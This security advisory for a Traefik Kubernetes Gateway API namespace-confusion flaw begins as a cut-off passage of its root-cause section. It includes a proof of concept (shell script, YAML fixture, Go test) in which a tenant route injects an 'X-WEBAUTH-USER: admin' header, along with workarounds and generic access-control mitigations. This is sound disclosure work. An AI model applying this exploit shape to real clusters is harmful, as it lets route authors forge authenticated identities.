The namespace passed from `loadMiddlewares()` decides which CRD `Middleware` object becomes part of the dynamic service configuration. ### 6. Service-level middlewares are applied at runtime `pkg/server/service/service.go:186-194`
if len(conf.Middlewares) > 0 {
    if m.middlewareChainBuilder == nil {
        // This should happen only in tests.
        return nil, errors.New("chain builder not defined")
    }
    chain := m.middlewareChainBuilder.BuildMiddlewareChain(ctx, conf.Middlewares)
    originalLB := lb
    var err error
    lb, err = chain.Then(lb)
The unauthorized middleware reference is not merely stored. Traefik applies service-level middlewares to the backend load balancer handler during normal HTTP service construction. ## Minimal Exploit Shape The PoC fixture contains the essential object graph:
tenant-a/HTTPRoute
  -> backendRef namespace: platform, name: protected-api
  -> backendRef.filters[].extensionRef: traefik.io/Middleware privileged-auth-header

platform/ReferenceGrant
  -> allows tenant-a HTTPRoute to reference platform/protected-api Service only

platform/protected-api Service

Traefik resolves the ExtensionRef as:
  platform/privileged-auth-header
In a real affected deployment, if `platform/privileged-auth-header` sets a trusted identity header, requests sent through the tenant route can reach the backend with that header injected by Traefik. ## Workarounds - Avoid granting untrusted namespaces permission to attach `HTTPRoute` objects to shared Gateways that route to sensitive backends. - Do not place privileged or identity-bearing Traefik `Middleware` objects in namespaces that can be reached by untrusted cross-namespace `HTTPRoute` backend references. - Prefer route-local filters and explicitly audit `HTTPRoute.rules[].backendRefs[].filters[].extensionRef` usage. - Strip trusted reverse-proxy identity headers at backend application boundaries unless they originate from a dedicated authentication gateway. ## Scope Boundary Exploitation requires low-privileged route-author capability in a Kubernetes Gateway API deployment. A remote unauthenticated web client without `HTTPRoute` authoring capability cannot create the malicious route. If the shared Gateway is internet-facing, the final request that triggers the unauthorized middleware can be sent over the public network after the route is created.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "Traefik"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.7.0"
            },
            {
              "fixed": "3.7.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-65601"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-05T21:49:19Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThere is a medium-severity namespace-confusion vulnerability in Traefik\u0027s Kubernetes Gateway API provider. When resolving `HTTPRoute.spec.rules[].backendRefs[].filters[].extensionRef`, Traefik used the backend Service namespace instead of the `HTTPRoute` namespace. A low-privileged route author holding a `ReferenceGrant` for a cross-namespace Service could therefore bind a Traefik `Middleware` from the backend namespace without a separate grant for that middleware. If the reused middleware sets trusted reverse-proxy identity headers, downstream applications may receive attacker-selected authenticated-identity state. The fix resolves `extensionRef` against the `HTTPRoute` namespace.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.7.7\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n## Summary\n\nTraefik\u0027s Kubernetes Gateway API provider resolves\n`HTTPRoute.spec.rules[].backendRefs[].filters[].extensionRef` in the backend\nService namespace instead of the `HTTPRoute` namespace. A low-privileged route\nauthor with a permitted cross-namespace Service reference can therefore bind a\nTraefik `Middleware` from the backend namespace without a separate grant for\nthat middleware. If the reused middleware sets trusted reverse-proxy identity\nheaders, downstream applications can receive attacker-selected authenticated\nidentity state.\n\n## Description\n\nGateway API `ReferenceGrant` allows a namespace owner to grant a route in\nanother namespace permission to reference a specific backend object, such as a\n`Service`. That grant should not implicitly authorize the route author to bind\nother policy objects in the backend namespace.\n\nIn the affected code path, Traefik copies `backendRef.namespace` into a local\n`namespace` variable. It correctly uses that namespace to validate and load the\nbackend `Service`, but then reuses the same namespace when resolving\n`backendRef.filters[].extensionRef`. For Traefik CRD `Middleware` extension\nfilters, the CRD provider turns `(namespace, name)` into a dynamic middleware\nreference such as:\n\n```text\nplatform-privileged-auth-header@kubernetescrd\n```\n\nAs a result, a tenant route in `tenant-a` can bind a middleware named\n`privileged-auth-header` from the backend namespace `platform`, even though the\nGateway API `ReferenceGrant` only granted access to `platform/protected-api`\n`Service`.\n\n## Impact\n\nThe PoC demonstrates that an attacker-authored `HTTPRoute` can cause Traefik to\nattach a backend-namespace `Headers` middleware to the generated backend\nservice. The middleware injects:\n\n```text\nX-WEBAUTH-USER: admin\n```\n\nThat is a realistic downstream primitive because many applications support\ntrusted reverse-proxy authentication headers when deployed behind a gateway.\nSeparate Docker validation showed this header-auth class can map to\nauthenticated identities in Grafana, Gitea, Jenkins, SonarQube, and Nexus\nRepository when those products are intentionally configured for reverse-proxy\nauthentication.\n\nThis is not a bug in those downstream applications and this PoC does not claim\ndirect Traefik host RCE, sandbox escape, private-key exfiltration, or default\ncluster takeover. The Traefik vulnerability is unauthorized middleware binding\nacross a Gateway API namespace boundary.\n\n## Proof Of Concept\n\n### Files\n\n\u003cdetails\u003e\n\u003csummary\u003erun.sh\u003c/summary\u003e\n\n```bash\n#!/usr/bin/env sh\nset -eu\n\nTARGET_REF=\"${TARGET_REF:-v3.7.5}\"\nREPO_URL=\"${REPO_URL:-https://github.com/traefik/traefik.git}\"\nSCRIPT_DIR=\"$(CDPATH= cd -- \"$(dirname -- \"$0\")\" \u0026\u0026 pwd)\"\nWORKDIR=\"${WORKDIR:-$(mktemp -d \"${TMPDIR:-/tmp}/traefik-gw-extref-poc.XXXXXX\")}\"\n\nif [ \"${KEEP_WORKDIR:-0}\" != \"1\" ]; then\n\ttrap \u0027rm -rf \"$WORKDIR\"\u0027 EXIT INT TERM\nfi\n\nprintf \u0027[*] target_ref=%s\\n\u0027 \"$TARGET_REF\"\nprintf \u0027[*] workdir=%s\\n\u0027 \"$WORKDIR\"\n\nif [ -n \"${TRAEFIK_SRC:-}\" ]; then\n\tprintf \u0027[*] cloning from local source: %s\\n\u0027 \"$TRAEFIK_SRC\"\n\tgit clone -q \"$TRAEFIK_SRC\" \"$WORKDIR/traefik\"\n\tcd \"$WORKDIR/traefik\"\n\tgit -c advice.detachedHead=false checkout -q \"$TARGET_REF\"\nelse\n\tprintf \u0027[*] cloning from remote: %s\\n\u0027 \"$REPO_URL\"\n\tgit -c advice.detachedHead=false clone -q --depth 1 --branch \"$TARGET_REF\" \"$REPO_URL\" \"$WORKDIR/traefik\"\n\tcd \"$WORKDIR/traefik\"\nfi\n\nmkdir -p pkg/provider/kubernetes/gateway/fixtures/httproute\ncp \"$SCRIPT_DIR/poc_gateway_extensionref_test.go\" \\\n\tpkg/provider/kubernetes/gateway/httproute_backend_filter_namespace_poc_test.go\ncp \"$SCRIPT_DIR/backendref_extension_filter_cross_namespace_poc.yml\" \\\n\tpkg/provider/kubernetes/gateway/fixtures/httproute/backendref_extension_filter_cross_namespace_poc.yml\n\nif grep -Fq \u0027loadConfigurationFromGateways(ctx context.Context) (*dynamic.Configuration, *statusReport, error)\u0027 pkg/provider/kubernetes/gateway/kubernetes.go; then\n\tsed -i \\\n\t\t-e \u0027s/conf := p\\.loadConfigurationFromGateways(t\\.Context())/conf, _, err := p.loadConfigurationFromGateways(t.Context())/\u0027 \\\n\t\t-e \u0027s/require\\.NotNil(t, conf)/require.NoError(t, err)/\u0027 \\\n\t\tpkg/provider/kubernetes/gateway/httproute_backend_filter_namespace_poc_test.go\nfi\n\nprintf \u0027[*] running Gateway HTTPRoute backendRef ExtensionRef namespace-confusion PoC\\n\u0027\ngo test ./pkg/provider/kubernetes/gateway \\\n\t-run \u0027^TestPoCHTTPRouteBackendRefExtensionRefUsesBackendNamespace$\u0027 \\\n\t-count=1 -v\n\nprintf \u0027POC_RESULT=PASS\\n\u0027\n```\n\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003ebackendref_extension_filter_cross_namespace_poc.yml\u003c/summary\u003e\n\n```yaml\n---\napiVersion: v1\nkind: Service\nmetadata:\n  name: protected-api\n  namespace: platform\nspec:\n  ports:\n    - name: web\n      protocol: TCP\n      port: 80\n      targetPort: web\n\n---\nkind: EndpointSlice\napiVersion: discovery.k8s.io/v1\nmetadata:\n  name: protected-api-abc\n  namespace: platform\n  labels:\n    kubernetes.io/service-name: protected-api\naddressType: IPv4\nports:\n  - name: web\n    port: 8080\nendpoints:\n  - addresses:\n      - 10.10.20.10\n    conditions:\n      ready: true\n\n---\nkind: GatewayClass\napiVersion: gateway.networking.k8s.io/v1\nmetadata:\n  name: shared-gateway-class\nspec:\n  controllerName: traefik.io/gateway-controller\n\n---\nkind: Gateway\napiVersion: gateway.networking.k8s.io/v1\nmetadata:\n  name: shared-gateway\n  namespace: infra\nspec:\n  gatewayClassName: shared-gateway-class\n  listeners:\n    - name: http\n      protocol: HTTP\n      port: 80\n      allowedRoutes:\n        kinds:\n          - kind: HTTPRoute\n            group: gateway.networking.k8s.io\n        namespaces:\n          from: All\n\n---\nkind: ReferenceGrant\napiVersion: gateway.networking.k8s.io/v1beta1\nmetadata:\n  name: allow-tenant-route-to-service\n  namespace: platform\nspec:\n  from:\n    - group: gateway.networking.k8s.io\n      kind: HTTPRoute\n      namespace: tenant-a\n  to:\n    - group: \"\"\n      kind: Service\n      name: protected-api\n\n---\nkind: HTTPRoute\napiVersion: gateway.networking.k8s.io/v1\nmetadata:\n  name: tenant-route\n  namespace: tenant-a\nspec:\n  parentRefs:\n    - name: shared-gateway\n      namespace: infra\n      kind: Gateway\n      group: gateway.networking.k8s.io\n  hostnames:\n    - attacker.example\n  rules:\n    - matches:\n        - path:\n            type: PathPrefix\n            value: /\n      backendRefs:\n        - name: protected-api\n          namespace: platform\n          port: 80\n          kind: Service\n          group: \"\"\n          filters:\n            - type: ExtensionRef\n              extensionRef:\n                group: traefik.io\n                kind: Middleware\n                name: privileged-auth-header\n```\n\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003epoc_gateway_extensionref_test.go\u003c/summary\u003e\n\n```go\npackage gateway\n\nimport (\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n\t\"github.com/traefik/traefik/v3/pkg/config/dynamic\"\n\t\"github.com/traefik/traefik/v3/pkg/middlewares/headers\"\n\ttraefikv1alpha1 \"github.com/traefik/traefik/v3/pkg/provider/kubernetes/crd/traefikio/v1alpha1\"\n\tkubefake \"k8s.io/client-go/kubernetes/fake\"\n)\n\nfunc TestPoCHTTPRouteBackendRefExtensionRefUsesBackendNamespace(t *testing.T) {\n\tk8sObjects, gwObjects := readResources(t, []string{\"httproute/backendref_extension_filter_cross_namespace_poc.yml\"})\n\n\tkubeClient := kubefake.NewClientset(k8sObjects...)\n\tgwClient := newGatewaySimpleClientSet(t, gwObjects...)\n\n\tclient := newClientImpl(kubeClient, gwClient)\n\teventCh, err := client.WatchAll(nil, make(chan struct{}))\n\trequire.NoError(t, err)\n\tif len(k8sObjects) \u003e 0 || len(gwObjects) \u003e 0 {\n\t\t\u003c-eventCh\n\t}\n\n\tvar resolvedRefs []string\n\tp := Provider{\n\t\tEntryPoints: map[string]Entrypoint{\"web\": {Address: \":80\"}},\n\t\tclient:      client,\n\t}\n\n\tp.RegisterFilterFuncs(traefikv1alpha1.GroupName, \"Middleware\", func(name, namespace string) (string, *dynamic.Middleware, error) {\n\t\tresolvedRefs = append(resolvedRefs, namespace+\"/\"+name)\n\t\treturn namespace + \"-\" + name + \"@kubernetescrd\", \u0026dynamic.Middleware{\n\t\t\tHeaders: \u0026dynamic.Headers{\n\t\t\t\tCustomRequestHeaders: map[string]string{\n\t\t\t\t\t\"X-WEBAUTH-USER\": \"admin\",\n\t\t\t\t},\n\t\t\t},\n\t\t}, nil\n\t})\n\n\tconf := p.loadConfigurationFromGateways(t.Context())\n\trequire.NotNil(t, conf)\n\n\tvar serviceConfig *dynamic.Service\n\tfor _, service := range conf.HTTP.Services {\n\t\tfor _, middlewareRef := range service.Middlewares {\n\t\t\tif middlewareRef == \"platform-privileged-auth-header@kubernetescrd\" {\n\t\t\t\tserviceConfig = service\n\t\t\t}\n\t\t}\n\t}\n\n\trequire.Contains(t, resolvedRefs, \"platform/privileged-auth-header\")\n\trequire.Contains(t, conf.HTTP.Middlewares, \"platform-privileged-auth-header@kubernetescrd\")\n\trequire.NotNil(t, serviceConfig)\n\trequire.Contains(t, serviceConfig.Middlewares, \"platform-privileged-auth-header@kubernetescrd\")\n\n\tseenUser := make(chan string, 1)\n\tbackend := http.HandlerFunc(func(rw http.ResponseWriter, req *http.Request) {\n\t\tseenUser \u003c- req.Header.Get(\"X-WEBAUTH-USER\")\n\t\trw.WriteHeader(http.StatusOK)\n\t})\n\n\thandler, err := headers.NewHeader(backend, *conf.HTTP.Middlewares[\"platform-privileged-auth-header@kubernetescrd\"].Headers)\n\trequire.NoError(t, err)\n\n\trecorder := httptest.NewRecorder()\n\thandler.ServeHTTP(recorder, httptest.NewRequest(http.MethodGet, \"http://attacker.example/\", nil))\n\n\tassert.Equal(t, http.StatusOK, recorder.Code)\n\tassert.Equal(t, \"admin\", \u003c-seenUser)\n\tt.Logf(\"POC_RESULT_DETAIL=backend_extension_ref_resolved_namespace=%q middleware=%q injected_header=%q\",\n\t\t\"platform\", \"platform-privileged-auth-header@kubernetescrd\", \"X-WEBAUTH-USER: admin\")\n}\n```\n\n\u003c/details\u003e\n\n### Requirements\n\n- `git`\n- Go toolchain compatible with the target Traefik tag. `v3.7.5` uses\n  `go 1.25.0`.\n- Network access to clone `https://github.com/traefik/traefik.git` and download\n  Go modules on first run.\n\nNo local Traefik checkout or Kubernetes cluster is required by default.\n\n### Run\n\n```sh\n./run.sh\n```\n\nOptional target override:\n\n```sh\nTARGET_REF=v3.7.0 ./run.sh\n```\n\nOptional local-source override for faster validation:\n\n```sh\nTRAEFIK_SRC=/path/to/traefik TARGET_REF=v3.7.5 ./run.sh\n```\n\n### Expected Result\n\nThe run should end with:\n\n```text\nPOC_RESULT_DETAIL=backend_extension_ref_resolved_namespace=\"platform\" middleware=\"platform-privileged-auth-header@kubernetescrd\" injected_header=\"X-WEBAUTH-USER: admin\"\nPOC_RESULT=PASS\n```\n\n## Root Cause\n\nLine numbers below are from:\n\n```text\nrepository: https://github.com/traefik/traefik\ntag:        v3.7.5\ncommit:     26c96a3935cafb473f4a5bae1886560d9aa4e4f0\n```\n\n### 1. Route-level filters use the route namespace\n\n`pkg/provider/kubernetes/gateway/httproute.go:143-144`\n\n```go\n// TODO loadMiddlewares errors could change the condition.\nrouter.Middlewares, err = p.loadMiddlewares(conf, route.Namespace, routerName, routeRule.Filters, match.Path)\n```\n\nFor filters directly on `HTTPRoute.rules[]`, Traefik resolves extension filters\nrelative to `route.Namespace`. This matches the Gateway API\n`LocalObjectReference` model.\n\n### 2. BackendRef namespace overwrites the route namespace\n\n`pkg/provider/kubernetes/gateway/httproute.go:240-243`\n\n```go\nnamespace := route.Namespace\nif backendRef.Namespace != nil \u0026\u0026 *backendRef.Namespace != \"\" {\n\tnamespace = string(*backendRef.Namespace)\n```\n\nFor a cross-namespace backend Service, `namespace` becomes the backend\nnamespace, for example `platform`.\n\n### 3. ReferenceGrant checks only the backend object\n\n`pkg/provider/kubernetes/gateway/httproute.go:258-266`\n\n```go\nif err := p.isReferenceGranted(kindHTTPRoute, route.Namespace, group, string(kind), string(backendRef.Name), namespace); err != nil {\n\treturn serviceName, \u0026metav1.Condition{\n\t\tType:               string(gatev1.RouteConditionResolvedRefs),\n\t\tStatus:             metav1.ConditionFalse,\n\t\tObservedGeneration: route.Generation,\n\t\tLastTransitionTime: metav1.Now(),\n\t\tReason:             string(gatev1.RouteReasonRefNotPermitted),\n```\n\nThis validates permission to reference the backend object, such as\n`platform/protected-api` `Service`.\n\n### 4. The backend namespace is reused for backendRef filters\n\n`pkg/provider/kubernetes/gateway/httproute.go:269-277`\n\n```go\nmiddlewares, err := p.loadMiddlewares(conf, namespace, serviceName, backendRef.Filters, pathMatch)\nif err != nil {\n\treturn serviceName, \u0026metav1.Condition{\n\t\tType:               string(gatev1.RouteConditionResolvedRefs),\n\t\tStatus:             metav1.ConditionFalse,\n\t\tObservedGeneration: route.Generation,\n\t\tLastTransitionTime: metav1.Now(),\n```\n\nThe same `namespace` variable now points to the backend namespace. Therefore an\n`ExtensionRef` inside `backendRef.filters[]` is resolved as\n`platform/\u003cmiddleware-name\u003e` instead of `tenant-a/\u003cmiddleware-name\u003e`.\n\n### 5. CRD Middleware extension refs are qualified by the namespace supplied by Gateway provider\n\n`pkg/provider/kubernetes/crd/kubernetes.go:169-175`\n\n```go\nregistry.RegisterFilterFuncs(traefikv1alpha1.GroupName, \"Middleware\", func(name, namespace string) (string, *dynamic.Middleware, error) {\n\tif len(p.Namespaces) \u003e 0 \u0026\u0026 !slices.Contains(p.Namespaces, namespace) {\n\t\treturn \"\", nil, fmt.Errorf(\"namespace %q is not allowed\", namespace)\n\t}\n\n\treturn makeID(namespace, name) + providerNamespaceSeparator + ProviderName, nil, nil\n```\n\nThe namespace passed from `loadMiddlewares()` decides which CRD `Middleware`\nobject becomes part of the dynamic service configuration.\n\n### 6. Service-level middlewares are applied at runtime\n\n`pkg/server/service/service.go:186-194`\n\n```go\nif len(conf.Middlewares) \u003e 0 {\n\tif m.middlewareChainBuilder == nil {\n\t\t// This should happen only in tests.\n\t\treturn nil, errors.New(\"chain builder not defined\")\n\t}\n\tchain := m.middlewareChainBuilder.BuildMiddlewareChain(ctx, conf.Middlewares)\n\toriginalLB := lb\n\tvar err error\n\tlb, err = chain.Then(lb)\n```\n\nThe unauthorized middleware reference is not merely stored. Traefik applies\nservice-level middlewares to the backend load balancer handler during normal\nHTTP service construction.\n\n## Minimal Exploit Shape\n\nThe PoC fixture contains the essential object graph:\n\n```text\ntenant-a/HTTPRoute\n  -\u003e backendRef namespace: platform, name: protected-api\n  -\u003e backendRef.filters[].extensionRef: traefik.io/Middleware privileged-auth-header\n\nplatform/ReferenceGrant\n  -\u003e allows tenant-a HTTPRoute to reference platform/protected-api Service only\n\nplatform/protected-api Service\n\nTraefik resolves the ExtensionRef as:\n  platform/privileged-auth-header\n```\n\nIn a real affected deployment, if `platform/privileged-auth-header` sets a\ntrusted identity header, requests sent through the tenant route can reach the\nbackend with that header injected by Traefik.\n\n## Workarounds\n\n- Avoid granting untrusted namespaces permission to attach `HTTPRoute` objects\n  to shared Gateways that route to sensitive backends.\n- Do not place privileged or identity-bearing Traefik `Middleware` objects in\n  namespaces that can be reached by untrusted cross-namespace `HTTPRoute`\n  backend references.\n- Prefer route-local filters and explicitly audit\n  `HTTPRoute.rules[].backendRefs[].filters[].extensionRef` usage.\n- Strip trusted reverse-proxy identity headers at backend application\n  boundaries unless they originate from a dedicated authentication gateway.\n\n## Scope Boundary\n\nExploitation requires low-privileged route-author capability in a Kubernetes\nGateway API deployment. A remote unauthenticated web client without\n`HTTPRoute` authoring capability cannot create the malicious route. If the\nshared Gateway is internet-facing, the final request that triggers the\nunauthorized middleware can be sent over the public network after the route is\ncreated.\n\n\u003c/details\u003e\n\n---",
  "id": "GHSA-qq9q-x9w4-chhj",
  "modified": "2026-08-05T21:49:19Z",
  "published": "2026-08-05T21:49:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-qq9q-x9w4-chhj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65601"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/pull/13462"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/commit/655d6324ab4a1475892a958d4bae389720a67ea9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/traefik/traefik"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/traefik-before-namespace-confusion-via-httproute-extensionref"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Traefik Gateway API HTTPRoute BackendRef ExtensionRef Namespace Confusion"
}

Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

No CAPEC attack patterns related to this CWE.